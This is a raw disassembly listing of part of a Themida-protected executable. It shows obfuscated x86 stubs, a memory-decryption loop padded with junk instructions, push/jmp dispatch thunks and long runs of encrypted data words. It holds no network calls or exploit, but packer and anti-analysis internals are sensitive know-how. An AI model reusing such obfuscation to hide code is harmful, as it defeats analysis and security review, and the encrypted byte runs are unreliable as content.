6803E509h, 109Ch, 81242489h, 42404h, 575E0000h, 8F242C81h dd 8F09E827h, 46810846h, 0E8278F08h, 2434FF09h, 4C4835Eh dd 56243C8Bh, 0C681E689h, 4, 8704C683h, 0E95C2434h, 0FFFD3143h dd 0AF61685Dh, 2ABE9BF8h, 3478F440h db 0EEh ; --------------------------------------------------------------------------- loc_570EA5: ; CODE XREF: Themida_:0057091Dj mov eax, 60E4D7Eh add eax, ebp loc_570EAC: ; CODE XREF: Themida_:loc_570918j mov ecx, eax jmp loc_570F04 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] add esi, [esi+3Ch] mov edi, [esp+28h] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_570ECE: ; CODE XREF: Themida_:00570EF9j cmp ecx, 0 jz loc_570EED cmp edi, [edx+0Ch] jg loc_570EF5 sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_570EED: ; CODE XREF: Themida_:00570ED1j ; Themida_:00570EFFj mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_570EF5: ; CODE XREF: Themida_:00570EDAj add edx, 28h dec ecx jnz loc_570ECE jmp loc_570EED ; --------------------------------------------------------------------------- loc_570F04: ; CODE XREF: Themida_:00570EAEj mov edx, 9FD3Eh call sub_570F13 ; --------------------------------------------------------------------------- dw 0EC62h db 11h, 0E4h, 1Dh ; =============== S U B R O U T I N E ======================================= sub_570F13 proc near ; CODE XREF: Themida_:00570F09p adc cx, 2857h pop eax mov cx, 0FD00h add eax, 5FA8h jmp loc_570F3C ; --------------------------------------------------------------------------- imul esi, [edi+0E49A07Fh], 0B6713B04h and ecx, ebp inc edx aam 4Eh sar byte ptr [edx-2Dh], 0B5h dec ecx loc_570F3C: ; CODE XREF: sub_570F13+10j mov edx, 77C9A12Ch sub edx, 77C9896Ah loc_570F47: ; CODE XREF: sub_570F13+99j mov ebx, [eax] clc add ebx, 3B6B5886h mov cx, 0EF32h sub ebx, 2D20404Bh push esi jmp loc_570F6E ; --------------------------------------------------------------------------- dd 3D5ED17Dh, 0EB5558F7h, 4532C604h db 86h, 0C9h ; --------------------------------------------------------------------------- loc_570F6E: ; CODE XREF: sub_570F13+48j pop esi add ebx, 0C11E7DDh pusha push esi sbb si, 0BE93h pop ebx mov si, 62DBh popa mov [eax], ebx pusha xor eax, 9F3B902h and esi, 13D91CAFh popa sub eax, 5F4700DEh mov ecx, edi add eax, 5F4700DAh xor edi, 6D978B1Fh sub edx, 1 jnz loc_570F47 jmp loc_571090 ; --------------------------------------------------------------------------- db 20h dd 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h dd 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h, 325277CBh dd 9CACACh, 0F7F691B8h, 9382CD64h, 38h, 3Ch, 40h, 94h dd 5, 1, 0A28h, 2, 20h dup(0) dd 2E9F2250h ; --------------------------------------------------------------------------- loc_571090: ; CODE XREF: sub_570F13+9Fj jmp loc_57303E ; --------------------------------------------------------------------------- push 60E5203h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E5304h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E53D9h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E54ABh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E5589h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E5640h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E56EFh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E57A7h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E5B07h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E5BA4h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E5CC5h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E5FF8h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E636Fh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E66DAh jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E6848h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E68C6h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E6911h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E6977h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E6A9Ah jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E6C19h jmp loc_543FDB ; --------------------------------------------------------------------------- push 60E6D08h jmp loc_543FDB ; --------------------------------------------------------------------------- db 1Dh dd 0C4213209h, 0B25380B1h, 1C896A67h, 0CB243F06h, 0EE558EB1h dd 211C6487h, 0F1CCD532h, 44738562h, 28256E9Fh, 822AC6CBh dd 0C59A4DC6h, 0DE02FA49h, 0C614F8D5h, 1D5430B4h, 0E7DBC394h dd 86B3C449h, 0E07B015Dh, 196FF27Ah, 40ADBD9Fh, 17FF1831h dd 3D358D96h, 0B655B25Ch, 0DAFA8AB2h, 493D1186h, 6096E999h dd 69643C3Ah, 34987A93h, 0BE36402Ch, 3A609ECAh, 36CB655Dh dd 25h, 760D6FDEh, 5D140E4h, 645EBD9Fh, 0CB305090h, 0BFE53A60h dd 0C733DA2Eh, 0F81E2C35h, 92000000h, 0B251463h, 0F8D5DE15h dd 0FD99C614h, 1A3FA791h, 3E82BDCBh, 0C548E6DAh, 34085BBFh dd 0A88771D4h, 9014A6B4h, 0C394A0F4h, 6FB6077Bh, 0ED5CB452h dd 0D2EF3898h, 56A30AFEh, 5576F87Bh, 0D8C394A4h, 0E761F2CFh dd 63D7EE36h, 0FB0C012Fh, 5A227ACEh, 0A4CBBF37h, 0F35CC394h dd 5FB397AAh, 0BA1C198Dh, 32BCBD9Fh, 6192CEBAh, 0CF79413Ah dd 2C889F70h, 488ECDDh, 80744355h, 0EF74684Ch, 8456ED8Fh dd 6C037A60h, 0F37BF544h, 3073C197h, 1CCE2218h, 4F94ABF1h dd 0EC7B5A5Eh, 8C700789h, 0DA857AC8h, 0DD00001Ch, 8461F2C9h dd 72934071h, 0DCC92A27h, 8B64FFC6h, 2E954E71h, 0E1DC24C7h dd 0B18C9572h, 43345A2h, 0E8E52EDFh, 0C26A860Bh, 0C59A4F86h dd 0BDC2BA09h, 76FE4150h, 0C3941D12h, 0C549AD95h, 0DE320F14h dd 0F8C7DD30h, 9572E97Bh, 0C0ED2FC6h, 0E1BF21Ch, 0BDD02033h dd 1DCFBB33h, 7A40C394h, 97ACF0CCh, 5702145h, 85FDBD9Fh dd 0CA513131h, 1C843A60h, 8A9A0B91h, 5D8BCFB3h, 35C84AE3h dd 0C6672Ch, 0DE810000h, 0A514F8D5h, 4E9C605Fh, 1DDCA83Ch dd 0FA53C394h, 8CBA9EABh, 9419CBF8h, 0C394AC3h, 0A3CB55D7h dd 3C6BE127h, 59B452A8h, 0BF8D714Ch, 0E1CDB92Dh, 78423C6Bh dd 95AECECEh, 0FF2A2F47h, 271B4260h, 11A623Ch, 0ECD92ADBh dd 4D04A842h, 0C2446D5Ch, 798372F8h, 81139D46h, 733C196Dh dd 7A94EE30h, 0D9238993h, 2C3E12E6h, 733CCCB8h, 1B7F4330h dd 70C26BCCh, 0EFA0A28Ch, 1BD9h, 62F1C8DAh, 9C477285h dd 0CA292073h, 65FEC5DDh, 964D7088h, 0DF25382Fh, 8D9273E0h dd 3242A3B0h, 0DA2FD81Bh, 658774EFh, 9A4E85C1h, 0C5BB0AC5h dd 120DADEh, 987ADBE1h, 0CEF308F1h, 8F9500EAh, 30DD96B0h dd 8B09EAE7h, 9D4150BDh, 0F5C9BD88h, 8D967791h, 81DCCB0h dd 3E51263Dh, 7BE17A02h, 9F05D6F3h, 0C6357BDh, 0ED66B6FAh dd 5DE6B6F1h, 4D66678Fh, 93E780F9h, 60ADCF2Fh, 0CF43B8CCh dd 0D7CB0FF4h, 0FA0AFB05h, 18257AC3h, 2EB650B4h, 8AC44853h dd 0AF0CDE24h, 0B91AD8A2h, 0BA323847h, 0F2C403CEh, 1DCF7941h dd 99ED0193h, 6EF2C403h, 613FA14h, 3DDA93Dh, 0B73FF2C4h dd 0F2C403D3h, 0A9916E54h, 3441AEB5h, 0C593CE19h, 0F45E4F07h dd 1B0413h, 0C4F30700h, 0AAA7EE1Fh, 7C4D5C49h, 0C1F006E7h dd 90AFF512h, 0EEDF443h, 0FF28CB0Ah, 0AF589BA6h, 18F56E59h dd 0D821320Fh, 4EE89C10h, 907FC59Ah, 0F8D5DE28h, 384CE072h dd 8FC3941Dh, 75B59D4Bh, 0A6CE1C27h, 0BD9F1A83h, 198D1FA9h dd 3A60E36Dh, 3C4898E2h, 0B33A60E3h, 9EF2CFDAh, 0EF3A9370h dd 362A6ED2h, 0CF49582Dh, 0E411C890h, 0BACDD541h, 217DAB8Fh dd 921AC05Bh, 446B9DB7h, 63C1D7B8h, 7D512514h, 7D51B519h dd 469D61Ah, 3D64B0F1h, 6E996D9Bh, 400ECD1Dh, 0B135273Ch dd 91A7B1D0h, 4B91655Dh, 0B721F514h, 1761CD85h, 922AC438h dd 43EB710Ah, 9BB2490Eh, 44B1BB9Fh, 29D40633h, 0A344E2D1h dd 0CB043142h, 6035BD88h, 321CF357h, 7500001Ah, 0DCC92A21h dd 8A7BF8C9h, 7491427Fh, 23CC172Eh, 0C67DE6D9h, 19247C9Fh dd 0E9D42DDAh, 0BC8B9D0Ah, 3D46A7h, 0AAC22ED3h, 0C59A49DEh dd 0DE7AE251h, 0E072F8D5h, 941D384Ch, 457881C3h, 0D8229DF1h dd 0BAC2DA2Eh, 61D5E034h, 0AF7E0DF6h, 311584F6h, 0E6E70FDDh dd 67BD9FB0h, 33BFC013h, 22C85329h, 6AA0BF8Ah, 0EC53DD44h dd 4C9E502Eh, 3F4B9BBCh, 0B0307E71h, 780CA04Ah, 0CF307E71h dd 5FFE5D8Bh, 7A53F479h, 0AA8DE182h, 0D63A7E5Ch, 152E4EDBh dd 0D3DEAFC7h, 9DC2EADEh, 0CB268E76h, 1FFC2A74h, 4557573Bh dd 3DA22C3Eh, 60984144h, 0ED79978Ah, 0ECA9F490h, 0BDCF1D65h dd 0DE084150h, 342F1A6Fh, 7F28CEDBh, 9789459Eh, 0AFF1DD0Bh dd 0E4D8BCA9h, 33164780h, 4DC5352Ch, 19548Ah, 74435700h dd 0DAF73EEFh, 0AC9DEC19h, 714056B7h, 0C0FF05E2h, 5EBDA413h dd 0FF87B5Ah, 0FF28CBF6h, 0A8459EA9h, 8F1625Fh, 48384CE0h dd 0C08FC59Ah, 0F8D5DE58h, 74A0CD72h, 1EFFE714h, 7C0018F0h dd 20F175E7h, 8DBD9F52h, 0F322AEB5h, 0E327ABA6h, 104C5045h dd 0B865F78Ch, 1C76896Fh, 6E221F5Eh, 9A12DC0Ah, 446A0DAFh dd 65905AA0h, 940B2510h, 3F681852h, 8B90EC35h, 0FBCCD61h dd 0B15C4B38h, 0ACE0546Bh, 0C9BD8582h, 0AAB0CBD1h, 0AC9BED18h dd 1D1A393h, 0AD5B7644h, 3A5A4D9h, 1BC1394Dh, 0EA3999EAh dd 0CB2F63D7h, 9FAAFF28h, 0C66B2F50h, 8B4CC695h, 189Dh dd 0A6BD949Eh, 0D0033E49h, 0ED5E437h, 0B9BA99E1h, 0EA09344Ch dd 93E9046Bh, 4156B7ACh, 0FE06E77Ch, 0A6F31CC7h, 0A94348ABh dd 9A4B4105h, 8177C6C5h, 14F8D5DEh, 69F38814h, 0EAE72EDFh dd 435B2266h, 0CF02D27Ch, 40BD9F27h, 0FD94F97Ah, 0BAA0BBC1h dd 6BED1732h, 38221844h, 618FBACDh, 0F85DEC7Ah, 0F6DC2B5h dd 0C9001382h, 0B4D54D39h, 84F8C2A3h, 0ECAFDE56h, 0DA20DDBFh dd 0DD663676h, 0FB73FD0Fh, 9981A08Fh, 780C3A00h, 0E78AAB05h dd 4BBAA09Ah, 0B78E963Eh, 91F579C3h, 16979E99h, 0FD4C82Ch dd 0AFB8959Eh, 2C4D611Ah, 0EE66D929h, 31000017h, 9875EEE5h dd 46A7BC8Dh, 30DD063Bh, 9F08EBEAh, 1AB9BA85h, 0DDE038D3h dd 0AD90E906h, 704F59B6h, 0C4F102E3h, 0F67EF21Fh, 0C59A4B92h dd 0DE3EA615h, 1414F8D5h, 0C569F388h, 0BD99E0D1h, 0FFE6C56h dd 0F6D14FAh, 0D979AA4Fh, 0A62A2770h, 41D50E62h, 3A65EF95h dd 964DD6A5h, 7C842C79h, 93A2F841h, 6CF7EB2Fh, 42E235E0h dd 9271B32h, 0BCC9E7B5h, 37BFAD81h, 44681203h, 42CC1E64h dd 0E353B11Dh, 5393974Ch, 3077CC37h, 0F1C0D7B8h, 3BD5C90Dh dd 953144B1h, 8C574B86h, 51251463h, 3D041A8Bh, 7E93A13h dd 0A2935E29h, 6AE5D95Dh, 8C74DE51h, 36C5BA88h, 79000017h dd 20CD162Dh, 8E7FE4D5h, 78954E83h, 27C01322h, 0C271E2DDh dd 538409Bh, 0D5E831DEh, 0B897E10Eh, 0C394ABBh, 0AEC62AD7h dd 0C59A4ADAh, 6F66DEADh, 40E4760Dh, 0BD99E054h, 8875E7DBh dd 0C591427Fh, 37BFADB6h, 3A65AC47h, 0C66ED228h, 3A65AD87h dd 4D474652h, 2C31BC9Ch, 51B5h, 0C6F5300h, 1D196D81h, 94EEC394h dd 12E6DD25h, 9C10DA3Eh, 0C3941DE4h, 0B3B3077Bh, 0C3941DD3h dd 0F9139206h, 32400D50h, 2579h, 26A78700h, 18C3941Dh dd 806DFF84h, 4E3AB275h, 0C1C3941Dh, 0E33485F9h, 2E62D6h dd 0FCBBC66Eh, 360CBD9Eh, 0D6FD72Dh, 0D2A699E3h, 0DC509AFEh dd 0BD9F04C1h, 92582C16h, 0C898EC00h, 2B6F3A60h, 3C0710FDh dd 60C8DCA8h, 9E6F533Ah, 0F2D6BA97h, 5FA8459Eh, 0D52F9E62h dd 0F42E66EAh, 0CA0710F9h, 3934BB20h, 591C8360h, 7D47965Dh dd 8EB89CBAh, 47EF38D5h, 5FD70534h, 3A60B62Bh, 9E6246BCh dd 0F765FE9Eh, 5362B865h, 0E97DABEFh, 446BAEB8h, 0F916CD35h dd 52D91ACh, 0B84BF926h, 1DE1DC29h, 9B6F56ACh, 3F535286h dd 48D0DDD7h, 0D5734E5Dh, 0C1122F78h, 12E6D324h, 986C53ABh dd 41A6277Dh, 2DDA1934h, 119EDD8h, 0E87AE07Bh, 0C4B2D65Eh dd 0CD35B826h, 0B418297Ch, 1B2EB650h, 1C62DF2h, 9BB58094h dd 709D46BCh, 0F7A62A27h, 7E2F93AEh, 89B61A37h, 0CC505F7h dd 9CE26BB6h, 1268D1A5h, 0DEEFC123h, 5F6E44ACh, 0BDC56DB6h dd 0FADE3286h, 4E7B8C79h, 708570FAh, 4F9DF145h, 336EA327h dd 30DE24B6h, 0E10B106Ch, 386ADC4Dh, 0CA2911C8h, 1C68C8DDh dd 5795D21h, 70D1B1B1h, 0BCE4DC08h, 9519AB31h, 9C0870F1h dd 6BE20C76h, 0D730231Eh, 5B02F6C1h, 238A7E41h, 0AA13E7DAh dd 77139B54h, 0F89C0870h, 3FDAAE82h, 0A8166865h, 6DDA39A6h dd 0B1012AC2h, 6B901D97h, 0D431221Dh, 391460C0h, 73887155h dd 37E66A4Eh, 246CD0EFh, 0E16FF0Eh, 3BA02C37h, 1FF9AEEBh dd 55B856D5h, 68807443h, 7EDD0F14h, 0B04E3C56h, 256EDF76h dd 0C660A428h, 0D2AD8024h, 0AEA2E203h, 5B64206h, 5426C59Ah dd 5DDF782Bh, 72C63A1Eh, 0DBC0CDC7h, 0DE68F2CDh, 5FA3256h dd 0A34DB59Ah, 0E7D227C0h, 6C59AA13h, 0CAF50FFEh, 3F45341Ch dd 6AEBC00h, 9A05FA42h, 0F80CFDC5h, 0C4DC79CDh, 0C9CBB5C9h dd 0F7C2D73Ch, 5E63B865h, 0FF7896EAh, 6B21CE6Dh, 750D0E93h dd 15C861DBh, 25E18BD2h, 0F000000h, 6DFFD6DEh, 0F4587180h dd 9A927690h, 7BF37902h, 0BD9F065Eh, 0DBB1302Fh, 0C519AE0Bh dd 308372E1h, 2D000000h, 0E509D6DEh, 0C3941DE1h, 32381C66h dd 1D780CA0h, 50CFC394h, 8398E81Ch, 709EF2C6h, 67FC8098h dd 0B1DC71F5h, 0D13CBD9Fh, 0FC5BF5C8h, 46A75D86h, 0FB00ED2Bh dd 0F01E72C6h, 0A14BD0ACh, 9F05380Dh, 0D2350DBDh, 0DC8BD10Eh dd 8BF60129h, 1F38FFD1h, 0CF7995EAh, 0D35F4307h, 4332A929h dd 8CC86185h, 0FB4F768Ah, 3985A387h, 9A12D863h, 0B8DEBCEBh dd 72AA1E64h, 0A3CB112Ah, 42A99B2Eh, 0E4DB23D2h, 67F5CD4Ah dd 83506DB6h, 2B241162h, 872C90BAh, 0D676C939h, 0D9000013h dd 806DF6CDh, 6E9F4475h, 0D8352E23h, 8760F3C2h, 2291427Dh dd 0E5D8203Bh, 0B588917Eh, 183741AEh, 0ECD92ADBh, 0CE668A77h dd 0C59A46BAh, 0A7C6BE0Dh, 0C3941E23h, 0FECBDCC9h, 8024360Ah dd 3C6BE2C4h, 0C5D9774Bh, 36BEACB7h, 4260DACBh, 699446BCh dd 6B05231Eh, 0BFC66ABAh, 0E6DA3E82h, 642EA74h, 893A60E8h dd 50DC97B1h, 5430B4C6h, 0DB3A60E8h, 0E81B6FE7h, 96EC3A60h dd 0E8A42044h, 0D72B3A60h, 0F5C0D439h, 844F5801h, 60E86460h dd 0B397EB3Ah, 62F033B4h, 7F84A86h, 1339h, 0C211287Ah dd 7CE7D225h, 0AA498093h, 0C51E257Dh, 76EDD028h, 3F4598CFh dd 0ED32D300h, 92E203D0h, 3A4FB8BBh, 0C527D40Fh, 9A4625A1h dd 65DBAAC5h, 0E4760D6Fh, 9F259D40h, 68BD12BDh, 0B195E95Dh dd 1E2B7AABh, 0ECDD28C5h, 0B264B118h, 0B63C8380h, 6352A83Fh dd 6347BB9Fh, 0A726629Fh, 0D91A377Eh, 5F3A32B4h, 0F16E7D8h dd 0E7E64E32h, 0D53A6038h, 8A9D0283h, 7DDE5F64h, 9DF1CD7Ah dd 9101104Fh, 0AED4FEBBh, 7E5CBC68h, 7791F5C2h, 7F8570FCh dd 6E98FC40h, 0B3B9889Fh, 0EA043142h, 0ED760666h, 4A878E7Fh dd 8A6482C6h, 48778D78h, 9E6680C4h, 446D47AEh, 629359A1h dd 0CE3F2411h, 0E3071DC5h, 6D1ADCBAh, 0C448AC3Dh, 0D0EF3980h dd 8C1008FCh, 92C165F7h, 764E7F2Ch, 600440E4h, 0B78B2E4Ch dd 9A40BA99h, 30231E6Bh, 3F7C2D7h, 8DB8CC39h, 3A415B63h dd 9014A630h, 2E4C60F4h, 60EA9E16h, 57D2E4Ch, 9CB740BAh dd 9CDB009Dh, 7568FC2Ah, 0CA5047CAh, 1A5A77F0h, 0A999988Ah dd 1218D6h, 300F1B00h, 86B3C223h, 6861B05Dh, 3D041A8Bh dd 8CB3C926h, 62F9E057h, 0D33C271Eh, 836CF7CAh, 6C995A75h dd 0C4352E1Bh, 41C48024h, 0FC4BC59Ah, 1D2AA704h, 63B5C394h dd 0CDAF8F54h, 5B00A4B6h, 0D4BD99E0h, 3F132E7Bh, 98B1C02Dh dd 1CCDBD5Bh, 3531C005h, 171h, 700F6FD3h, 0A71EBD9Eh, 0C3173D0Ch dd 22B8928Dh, 84F8F569h, 6DAADE56h, 0C53DC394h, 5C2D412Bh dd 7DC3946Dh, 47BDA305h, 6F827A75h, 0A49F710Eh, 750A6FBCh dd 0DCE136E7h, 0D048CC32h, 40050CCDh, 422537h, 8B70000h dd 5D76E94Eh, 0F46A849Fh, 764B50BDh, 0FF437E87h, 4C516D9Bh dd 0F0DBC4E8h, 1C70EC11h, 5829BDBAh, 0D5C3941Dh, 47BD0BEDh dd 9025D3DEh, 1980344Dh, 0BD259BFFh, 0DA744550h, 48C830D6h dd 50000000h, 91E40E6Fh, 84F8DCA0h, 0C233BD22h, 384C84B1h dd 8FC3941Dh, 84F8D5DEh, 0C976806Ah, 48700044h, 0C591BF02h dd 0C3943A84h, 536EB964h, 0DC22ABEFh, 22604BE5h, 0BD47BD4Ch dd 81084150h, 93F75B76h, 0B0899875h, 0CD857BDEh, 3740050Ch dd 5125h, 0B08B700h, 0F6EFB192h, 6752A716h, 0AB91BF93h dd 84150BDh, 1D3E4AE2h, 49B1C394h, 0E57A1F9Fh, 0DDC877h dd 5A643BE7h, 29BDB6ACh, 0C3941D58h, 0F5F003B8h, 5F9630ACh dd 666D198Dh, 98E2C394h, 37A9916Eh, 0D7DE47BDh, 857B04FAh dd 38C8h, 0A6F5000h, 29BD9375h, 0C3941D58h, 0C2862EB8h dd 45C3941Dh, 4CD8D37Dh, 941DACD8h, 0FBDF23C3h, 9C93CA71h dd 0A1A32321h, 2FE8DF99h, 193754D8h, 0DE47BD23h, 7B04FAD7h dd 4850BD85h, 0CCD88175h, 8C739DF1h, 0FFFFFE86h, 4450BD14h dd 0BDDFDF09h, 63D7EA33h, 8D21CB2Fh, 0BD99E0A9h, 47B6A49Eh dd 0A28EDA30h, 8801811Eh, 0E4D32594h, 0E716A04Ah, 0F8DCA09Fh dd 9FAAFF4Eh, 5D7CEE4Dh, 637EFC30h, 277422C5h, 0CCDFCE1Ch dd 273509FDh, 65EFFB8Fh, 0D8764C3Ah, 0EFEA9E16h, 57D3A65h dd 0EFD7B1B1h, 4E563A65h, 0C6DA8377h, 5DA20BFFh, 9D280260h dd 719C4CE1h, 62A62A29h, 29E3E2C4h, 2C31FF00h, 6738813Eh dd 0EF970394h, 9C4AAE99h, 4EC5h, 27A72300h, 0C5C3941Dh dd 1D5733BBh, 0E2D8C394h, 81BCC944h, 1DBDCC52h, 0E05FC394h dd 4BD1A1FBh, 894B2EAh, 0E97DEF74h, 0BD9F6960h, 0E577E5DDh dd 3AB7D35Bh, 0C2383A61h, 613A4602h, 4400A43Ah, 0CB3A613Ah dd 143208F7h, 0C6A453h, 6FCC0000h, 186C800Dh, 0EFC3941Dh dd 1A5B7ABh, 0BD9F2C14h, 407F8974h, 8B51A9A6h, 0F53EEF79h dd 0D01074D8h, 3A60F1B4h, 2429C73Bh, 917EE5D0h, 76C44887h dd 0C356FFC9h, 0A17B84BBh, 7E3EE866h, 4B8A901Eh, 0BDAF83C7h dd 6D5E1129h, 0C6146E44h, 23149B4h, 0A1AC5ABEh, 60F27857h dd 7273B8CCh, 21CB0F30h, 7273F98Dh, 0DA744E30h, 0AD98EC19h dd 0A0BBC1D9h, 0B99A32BAh, 5B954E7Fh, 4C3BB7D3h, 0EEC2382Eh dd 4984917Ch, 1D287DAAh, 7FBEF1D2h, 75CA3892h, 0EE5h, 7EE5DC26h dd 0A84B8691h, 0C61D2C7Fh, 71E2D129h, 0A2B18C94h, 0EB31CC13h dd 999E0FD4h, 464EBFA4h, 0EE3BD40Fh, 71FB00D3h, 9A4289FDh dd 0C9AF1EC5h, 14F8D5DEh, 916550A5h, 18ECDD28h, 0E15568B1h dd 2559548Ch, 0C44C595Bh, 1D5632BAh, 0E1D9C394h, 80BDC647h dd 0C88A153h, 47B63240h, 5BBF033Eh, 90D4ADh, 0BD300000h dd 1DCFBB33h, 7A40C394h, 97ACF0CCh, 0D7B33B45h, 58C3941Dh dd 0FA1A5B9h, 6B4FD020h, 0CABB33BDh, 2EBD9F1Dh, 5E6866B1h dd 0BF0E4DFFh, 92F65A65h, 0BE789774h, 5E2DE63Ah, 86BDC5B4h dd 1A6FDEA2h, 0EF536ABAh, 43E36970h, 0E1C58CBEh, 0C197F37Bh dd 22183A61h, 0AFF815CEh, 485D4892h, 5BD679A6h, 197DB6F6h dd 6AD11BEFh, 5B6B2921h, 0A420446Fh, 2B3A61A7h, 4955F3D7h dd 0B0C22833h, 0ED1B3645h, 6A963C19h, 23C93144h, 7CAAA7F2h dd 0D7DE1DFBh, 798C79FAh, 176CC448h, 0E6C3941Dh, 0D6E3329Eh dd 673561F2h, 889F0EDCh, 49DD8FB9h, 0BD99E051h, 344694EEh dd 738CB3C9h, 0D3A5F907h, 9042259h, 0E41CC7FAh, 0C0051CCDh dd 1593531h, 6FD30000h, 0BD9E700Fh, 941D5829h, 0A71979C3h dd 764B50BDh, 5034B882h, 0D7C3941Dh, 8F618FE3h, 0BB33BD09h dd 0C3941DCFh, 0EACC7A40h, 0E6F23D9h, 0C8A49F71h, 0E394FBEh dd 941D82C6h, 133D05C3h, 0AE0A6F2Dh, 0B3818C2Bh, 4D6CA86h dd 483464D7h, 5C8A7F6Bh, 37A448E6h, 0E1FF6FB5h, 100620B8h dd 754850BDh, 4B861DBh, 29F13740h, 1F000000h, 0EB710E6Fh dd 1DB1D559h, 0CC36C394h, 29BD3C22h, 0C3941D58h, 102978D5h dd 47BD5A3Ch, 18FED3DEh, 33C8857Bh, 50000000h, 9CE40E6Fh dd 0D9F4DA1h, 941DED99h, 0E3E70FC3h, 64C3941Dh, 9359A11Eh dd 941D6F1Bh, 6C9AE0C3h, 5829BDF6h, 79C3941Dh, 47BDA719h dd 18FED3DEh, 0CCD857Bh, 25374005h, 4Fh, 750A6FC3h, 5829BD93h dd 0B8C3941Dh, 0FABBDA03h, 0FE2850E9h, 0BD473901h, 80BDC233h dd 0C82ED83Ch, 0E821D7DEh, 0CF58A4A4h, 5531B5A7h, 0DAC39480h dd 7B2A8CE0h, 0BBCF67F1h, 0CC3941Dh, 0C8221836h, 3Dh, 76129A24h dd 0F9C3941Dh, 6FF16781h, 0BD93750Ah, 941D5829h, 0A71979C3h dd 0BDC233BDh, 0BDF06680h, 860A4750h, 5EA9A442h, 7042F963h dd 0C1DE2CA2h, 3B4FE775h, 8CC394B6h, 7BA298B6h, 0FE9EC885h dd 6F50FFFFh, 40E4760Dh, 0BD99E054h, 86A709B6h, 0FDD68615h dd 5C8EF453h, 1E29C6FFh, 7FA9C35Ah, 0DAF700EDh, 253E5D19h dd 97CBBF37h, 665C3A65h, 97345292h, 0B7ED3A65h, 972BC236h dd 17062C31h, 9A000000h, 582C136Bh, 0A754CA64h, 0C3941D27h dd 0F3605DA6h, 0C204h, 0D6FAC00h, 2FD6B2ADh, 944EC387h dd 0C17E44C3h, 0D4C8C4B9h, 9EABEE06h, 261CBD9Eh, 5BBFC934h dd 1488361Ch, 0DC077B8Bh, 66EAE533h, 7FED7606h, 0C0B4898Eh dd 0D8E73D8Ch, 1428BC2Eh, 6B446C9Fh, 0CCD8C517h, 738562F1h dd 0F56AF044h, 9D764336h, 9445105h, 0C36D4185h, 509AA1FBh dd 7EBC64DCh, 5587FB4Eh, 1B64DE6h, 1175D9F4h, 0F12962E6h dd 1F689557h, 8B73122h, 0EBCA00C2h, 68BB02F6h, 7FA9ED51h dd 0BF48858Eh, 927ED24Eh, 6E32957Dh, 0B100000Bh, 18F56E65h dd 0C6273C0Dh, 0B05D86BBh, 1F886B6Ah, 9A393A05h, 5D60B853h dd 2D106986h, 0F0CFD936h, 44718263h, 76FE729Fh, 0C59A7E12h dd 0BDBE2695h, 1DCFBB33h, 434EC394h, 8E49B10Eh, 0CFA17D0Bh dd 15F81646h, 95273500h, 94FA7511h, 6680FAC3h, 0D3EE3BE2h dd 1377FF09h, 94C394FAh, 2E8880AEh, 0E730D9D4h, 8BDB00EAh dd 0CF1D59EAh, 0C731B25Ch, 32406426h, 6003h, 50BDED00h dd 41850944h, 0FE8517A7h, 1C9DF86Ch, 2812BD9Fh, 116796A4h dd 776B66B3h, 0ACA14F83h, 5FFC6E5Bh, 305ED486h, 0D691BF2Dh dd 6DD1EC39h, 6D46F0Dh, 0C11470F4h, 83953A60h, 0ED01CBB4h dd 3A60C199h, 1630146Eh, 34B8CA54h, 3A60C150h, 9FDC0D9h dd 0D6704A35h, 6A2B4B0Eh, 5D86FC44h, 6FD7DEA7h, 5D60B81Ch dd 616A9579h, 3C022BAAh, 0CB117569h, 85135B9h, 0ECD6C394h dd 403DA142h, 0DBC39408h, 3561F2CDh, 0E60EDC67h, 0BD99F595h dd 6CFE6C56h, 726A3ACFh, 5BF5748Eh, 49AAA7F2h, 51CCD4Bh dd 213531C0h, 0D3000001h, 9E700F6Fh, 1D5829BDh, 1979C394h dd 7547BDA7h, 0FD07F67Ah, 0EC1A7EC2h, 710E6F76h, 0D3EA3AEBh dd 3D49DD6Fh, 0B2C3941Dh, 92E55448h, 51FFD3A7h, 6FBCA4EBh dd 0A598E00Ah, 2799FDD1h, 0CCDD048h, 25374005h, 29h, 710E6FC3h dd 5829BD9Fh, 0D5C3941Dh, 47BD0BEDh, 0E408D3DEh, 0C3941DE0h dd 593F1367h, 50BD857Bh, 64DB7548h, 2Ch, 710E6F8Ch, 142474EBh dd 50DFB688h, 0FA140841h, 5829BD04h, 79C3941Dh, 47BDA719h dd 18FED3DEh, 0FE04F17Bh, 1C704D52h, 44BA54A8h, 40050CCDh dd 3B2537h, 0BDC30000h, 8E9D4150h, 97EB5FB3h, 0C3542579h dd 5829BD6Dh, 0D5C3941Dh, 47BD0BEDh, 754850BDh, 162372DBh dd 0C8857BB0h, 43h, 9DBB724h, 0EE6E97C1h, 5DA95F51h, 0CD7BA6ECh dd 0E00A6F57h, 0F0D4B891h, 495F4E9Ch, 0BD6AD07Eh, 941D5829h dd 0A71979C3h, 0D7DE47BDh, 0C7CB70FAh, 5F62BB3Dh, 0F06897EBh dd 73E907A6h, 754850BDh, 0C831D7DBh, 0FFFFFEDDh, 92A1F924h dd 0C63CEA2Eh, 96E30D6Fh, 9FF3D7BBh, 0CDD2C34Dh, 1EC80CF0h dd 99E06256h, 2B7DA8BDh, 0BA54A81Ch, 